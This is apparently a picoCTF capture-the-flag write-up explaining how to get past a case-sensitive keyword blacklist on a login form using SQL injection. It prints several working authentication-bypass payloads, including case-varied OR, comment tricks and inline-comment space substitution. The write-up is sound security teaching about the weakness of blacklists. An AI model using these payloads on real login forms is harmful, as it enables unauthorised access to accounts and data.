PicoCTF Web Gauntlet Writeup — Bypass a Login SQL Injection Filter

Web 2026-08-31 · picoGym · By CTFdojo · ⏱ ... · 👁 ... views
𝕏 Share
TL;DR

The login form filters classic SQL keywords (spaces, OR, --) in an overly simplistic way. By varying the case and using syntactic equivalents, we bypass the filter and authenticate without a valid password.

PlatformpicoGym
CategoryWeb Exploitation
Points200 pts
DifficultyIntermediate
TechniqueSQL injection, filter bypass

Challenge description

The challenge presents a classic login form, with a username field and a password field. Nothing else is provided in the prompt, aside from a link to the application:

"Log in as admin! http://saturn.picoctf.net:PORT/"

When we enter an invalid credential, the application returns an error message that hints at what's happening server-side: something like Login failed for user: ..., strongly suggesting a SQL query of the form SELECT * FROM users WHERE username='...' AND password='...'.

Step 1 — Basic injection test

Classic reflex when facing a login form suspected of being vulnerable: attempt a basic SQL injection in the username field, leaving the password empty or arbitrary.

Username : ' OR 1=1 -- -
Password : anything

On a naive form, this payload turns the query into SELECT * FROM users WHERE username='' OR 1=1 -- -' AND password='...', which authenticates anyone. But here, the server's response is different:

403 Forbidden — malicious keyword detected

The site is therefore actively filtering certain keywords before executing the query. We need to understand precisely what's being blocked.

Step 2 — Identify the filter word by word

We isolate each component of the previous payload and test it separately to see which one triggers the block:

Test 1: Username = OR           → blocked
Test 2: Username = --           → blocked
Test 3: Username = ' '(space)   → allowed through
Test 4: Username = 1=1          → allowed through
Test 5: Username = oR           → allowed through!

Two important observations emerge from these tests:

This is a classic design flaw: a hardcoded keyword blacklist, applied with a case-sensitive comparison, without normalizing the string to upper or lower case before comparing it.

Step 3 — Bypass the filter

With this case-sensitivity flaw identified, we can rebuild a working payload simply by avoiding the exact spelling of the blocked words:

' oR 1=1 -- -   → "oR" passes the filter, remains a valid OR in SQL
' oR 1=1 #      → MySQL comment alternative (#) instead of --

Some filters also block spaces around keywords. In that case, a classic trick is to replace spaces with inline SQL comments, which are ignored by the SQL engine but don't contain the forbidden string:

'/**/oR/**/1=1/**/--/**/-

On this particular challenge, the case variation is already enough to pass the filter — no need to complicate things further.

Step 4 — Authentication bypass

We send the payload that passes the filter in the username field, with an arbitrary password:

Username : admin' oR '1'='1' -- -
Password : x

The query generated server-side becomes (schematically):

SELECT * FROM users WHERE username='admin' oR '1'='1' -- -' AND password='x'

The condition '1'='1' is always true, and everything after -- is commented out — the password is never checked. We get a success page showing admin access, with the flag:

Welcome back, admin!
picoCTF{***************************}
🚩 picoCTF{flag intentionally hidden}

The flag is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

This challenge illustrates why blacklist filtering is a fundamentally fragile defense against SQL injection: there's always a case variation, encoding, or equivalent syntax that the blacklist didn't anticipate.

Resources

Related reading

Web 2026-08-24

PicoCTF Insp3ct0r Writeup — Find a Flag Hidden in HTML, JS & CSS

Finding a flag hidden in three pieces across the HTML source code, a JS file, and a CSS file.

Got a question or a different approach?

Discuss this writeup with the community on the CTFdojo Discord.

Join the Discord →